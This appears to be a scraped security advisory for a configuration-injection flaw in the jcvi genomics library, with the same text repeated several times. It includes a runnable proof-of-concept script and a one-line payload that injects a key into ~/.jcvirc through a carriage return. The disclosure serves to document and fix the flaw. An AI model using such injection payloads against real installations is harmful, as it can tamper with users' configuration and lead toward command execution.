CVE-2023-35932

jcvi is a Python library to facilitate genome assembly, annotation, and comparative genomics. A configuration injection happens when user input is considered by the application in an unsanitized format and can reach the configuration file. A malicious user may craft a special payload that may lead to a command injection. The impact of a configuration injection may vary. Under some conditions, it may lead to command injection if there is for instance shell code execution from the configuration file values. This vulnerability does not currently have a fix.

jcvi is a Python library to facilitate genome assembly, annotation, and comparative genomics. A configuration injection happens when user input is considered by the application in an unsanitized format and can reach the configuration file. A malicious user may craft a special payload that may lead to a command injection. The impact of a configuration injection may vary. Under some conditions, it may lead to command injection if there is for instance shell code execution from the configuration file values. This vulnerability does not currently have a fix.

Summary

A configuration injection happens when user input is considered by the application in an unsanitized format and can reach the configuration file. A malicious user may craft a special payload that may lead to a command injection.

PoC

The vulnerable code snippet is /jcvi/apps/base.py#LL2227C1-L2228C41. Under some circumstances a user input is retrieved and stored within the fullpath variable which reaches the configuration file ~/.jcvirc.

        fullpath = input(msg).strip()
        config.set(PATH, name, fullpath)

I ripped a part of the codebase into a runnable PoC as follows. All the PoC does is call the getpath() function under some circumstances.

from configparser import (
    ConfigParser,
    RawConfigParser,
    NoOptionError,
    NoSectionError,
    ParsingError,
)

import errno
import os
import sys
import os.path as op
import shutil
import signal
import sys
import logging


def is_exe(fpath):
    return op.isfile(fpath) and os.access(fpath, os.X_OK)


def which(program):
    """
    Emulates the unix which command.

    >>> which("cat")
    "/bin/cat"
    >>> which("nosuchprogram")
    """
    fpath, fname = op.split(program)
    if fpath:
        if is_exe(program):
            return program
    else:
        for path in os.environ["PATH"].split(os.pathsep):
            exe_file = op.join(path, program)
            if is_exe(exe_file):
                return exe_file

    return None


def getpath(cmd, name=None, url=None, cfg="~/.jcvirc", warn="exit"):
    """
    Get install locations of common binaries
    First, check ~/.jcvirc file to get the full path
    If not present, ask on the console and store
    """
    p = which(cmd)  # if in PATH, just returns it
    if p:
        return p

    PATH = "Path"
    config = RawConfigParser()
    cfg = op.expanduser(cfg)
    changed = False
    if op.exists(cfg):
        config.read(cfg)

    assert name is not None, "Need a program name"

    try:
        fullpath = config.get(PATH, name)
    except NoSectionError:
        config.add_section(PATH)
        changed = True

    try:
        fullpath = config.get(PATH, name)
    except NoOptionError:
        msg = "=== Configure path for {0} ===\n".format(name, cfg)
        if url:
            msg += "URL: {0}\n".format(url)
        msg += "[Directory that contains `{0}`]: ".format(cmd)
        fullpath = input(msg).strip()
        config.set(PATH, name, fullpath)
        changed = True

    path = op.join(op.expanduser(fullpath), cmd)
    if warn == "exit":
        try:
            assert is_exe(path), "***ERROR: Cannot execute binary `{0}`. ".format(path)
        except AssertionError as e:
            sys.exit("{0!s}Please verify and rerun.".format(e))

    if changed:
        configfile = open(cfg, "w")
        config.write(configfile)
        logging.debug("Configuration written to `{0}`.".format(cfg))

    return path


# Call to getpath
path = getpath("not-part-of-path", name="CLUSTALW2", warn="warn")
print(path)

To run the PoC, you need to remove the config file ~/.jcvirc to emulate the first run,

# Run the PoC with the payload
echo -e "e\rvvvvvvvv = zzzzzzzz\n" | python3 poc.py

You can notice the random key/value characters vvvvvvvv = zzzzzzzz were successfully injected.

Impact

The impact of a configuration injection may vary. Under some conditions, it may lead to command injection if there is for instance shell code execution from the configuration file values.

jcvi is a Python library to facilitate genome assembly, annotation, and comparative genomics. A configuration injection happens when user input is considered by the application in an unsanitized format and can reach the configuration file. A malicious user may craft a special payload that may lead to a command injection. The impact of a configuration injection may vary. Under some conditions, it may lead to command injection if there is for instance shell code execution from the configuration file values. This vulnerability does not currently have a fix.

jcvi is a Python library to facilitate genome assembly, annotation, and comparative genomics. A configuration injection happens when user input is considered by the application in an unsanitized format and can reach the configuration file. A malicious user may craft a special payload that may lead to a command injection. The impact of a configuration injection may vary. Under some conditions, it may lead to command injection if there is for instance shell code execution from the configuration file values. This vulnerability does not currently have a fix.

Summary

A configuration injection happens when user input is considered by the application in an unsanitized format and can reach the configuration file. A malicious user may craft a special payload that may lead to a command injection.

PoC

The vulnerable code snippet is /jcvi/apps/base.py#LL2227C1-L2228C41. Under some circumstances a user input is retrieved and stored within the fullpath variable which reaches the configuration file ~/.jcvirc.

        fullpath = input(msg).strip()
        config.set(PATH, name, fullpath)

I ripped a part of the codebase into a runnable PoC as follows. All the PoC does is call the getpath() function under some circumstances.

from configparser import (
    ConfigParser,
    RawConfigParser,
    NoOptionError,
    NoSectionError,
    ParsingError,
)

import errno
import os
import sys
import os.path as op
import shutil
import signal
import sys
import logging


def is_exe(fpath):
    return op.isfile(fpath) and os.access(fpath, os.X_OK)


def which(program):
    """
    Emulates the unix which command.

    >>> which("cat")
    "/bin/cat"
    >>> which("nosuchprogram")
    """
    fpath, fname = op.split(program)
    if fpath:
        if is_exe(program):
            return program
    else:
        for path in os.environ["PATH"].split(os.pathsep):
            exe_file = op.join(path, program)
            if is_exe(exe_file):
                return exe_file

    return None


def getpath(cmd, name=None, url=None, cfg="~/.jcvirc", warn="exit"):
    """
    Get install locations of common binaries
    First, check ~/.jcvirc file to get the full path
    If not present, ask on the console and store
    """
    p = which(cmd)  # if in PATH, just returns it
    if p:
        return p

    PATH = "Path"
    config = RawConfigParser()
    cfg = op.expanduser(cfg)
    changed = False
    if op.exists(cfg):
        config.read(cfg)

    assert name is not None, "Need a program name"

    try:
        fullpath = config.get(PATH, name)
    except NoSectionError:
        config.add_section(PATH)
        changed = True

    try:
        fullpath = config.get(PATH, name)
    except NoOptionError:
        msg = "=== Configure path for {0} ===\n".format(name, cfg)
        if url:
            msg += "URL: {0}\n".format(url)
        msg += "[Directory that contains `{0}`]: ".format(cmd)
        fullpath = input(msg).strip()
        config.set(PATH, name, fullpath)
        changed = True

    path = op.join(op.expanduser(fullpath), cmd)
    if warn == "exit":
        try:
            assert is_exe(path), "***ERROR: Cannot execute binary `{0}`. ".format(path)
        except AssertionError as e:
            sys.exit("{0!s}Please verify and rerun.".format(e))

    if changed:
        configfile = open(cfg, "w")
        config.write(configfile)
        logging.debug("Configuration written to `{0}`.".format(cfg))

    return path


# Call to getpath
path = getpath("not-part-of-path", name="CLUSTALW2", warn="warn")
print(path)

To run the PoC, you need to remove the config file ~/.jcvirc to emulate the first run,

# Run the PoC with the payload
echo -e "e\rvvvvvvvv = zzzzzzzz\n" | python3 poc.py

You can notice the random key/value characters vvvvvvvv = zzzzzzzz were successfully injected.

Impact

The impact of a configuration injection may vary. Under some conditions, it may lead to command injection if there is for instance shell code execution from the configuration file values.

Summary

A configuration injection happens when user input is considered by the application in an unsanitized format and can reach the configuration file. A malicious user may craft a special payload that may lead to a command injection.

PoC

The vulnerable code snippet is /jcvi/apps/base.py#LL2227C1-L2228C41. Under some circumstances a user input is retrieved and stored within the fullpath variable which reaches the configuration file ~/.jcvirc.

        fullpath = input(msg).strip()
        config.set(PATH, name, fullpath)

I ripped a part of the codebase into a runnable PoC as follows. All the PoC does is call the getpath() function under some circumstances.

from configparser import (
    ConfigParser,
    RawConfigParser,
    NoOptionError,
    NoSectionError,
    ParsingError,
)

import errno
import os
import sys
import os.path as op
import shutil
import signal
import sys
import logging


def is_exe(fpath):
    return op.isfile(fpath) and os.access(fpath, os.X_OK)


def which(program):
    """
    Emulates the unix which command.

    >>> which("cat")
    "/bin/cat"
    >>> which("nosuchprogram")
    """
    fpath, fname = op.split(program)
    if fpath:
        if is_exe(program):
            return program
    else:
        for path in os.environ["PATH"].split(os.pathsep):
            exe_file = op.join(path, program)
            if is_exe(exe_file):
                return exe_file

    return None


def getpath(cmd, name=None, url=None, cfg="~/.jcvirc", warn="exit"):
    """
    Get install locations of common binaries
    First, check ~/.jcvirc file to get the full path
    If not present, ask on the console and store
    """
    p = which(cmd)  # if in PATH, just returns it
    if p:
        return p

    PATH = "Path"
    config = RawConfigParser()
    cfg = op.expanduser(cfg)
    changed = False
    if op.exists(cfg):
        config.read(cfg)

    assert name is not None, "Need a program name"

    try:
        fullpath = config.get(PATH, name)
    except NoSectionError:
        config.add_section(PATH)
        changed = True

    try:
        fullpath = config.get(PATH, name)
    except NoOptionError:
        msg = "=== Configure path for {0} ===\n".format(name, cfg)
        if url:
            msg += "URL: {0}\n".format(url)
        msg += "[Directory that contains `{0}`]: ".format(cmd)
        fullpath = input(msg).strip()
        config.set(PATH, name, fullpath)
        changed = True

    path = op.join(op.expanduser(fullpath), cmd)
    if warn == "exit":
        try:
            assert is_exe(path), "***ERROR: Cannot execute binary `{0}`. ".format(path)
        except AssertionError as e:
            sys.exit("{0!s}Please verify and rerun.".format(e))

    if changed:
        configfile = open(cfg, "w")
        config.write(configfile)
        logging.debug("Configuration written to `{0}`.".format(cfg))

    return path


# Call to getpath
path = getpath("not-part-of-path", name="CLUSTALW2", warn="warn")
print(path)

To run the PoC, you need to remove the config file ~/.jcvirc to emulate the first run,

# Run the PoC with the payload
echo -e "e\rvvvvvvvv = zzzzzzzz\n" | python3 poc.py

You can notice the random key/value characters vvvvvvvv = zzzzzzzz were successfully injected.

Impact

The impact of a configuration injection may vary. Under some conditions, it may lead to command injection if there is for instance shell code execution from the configuration file values.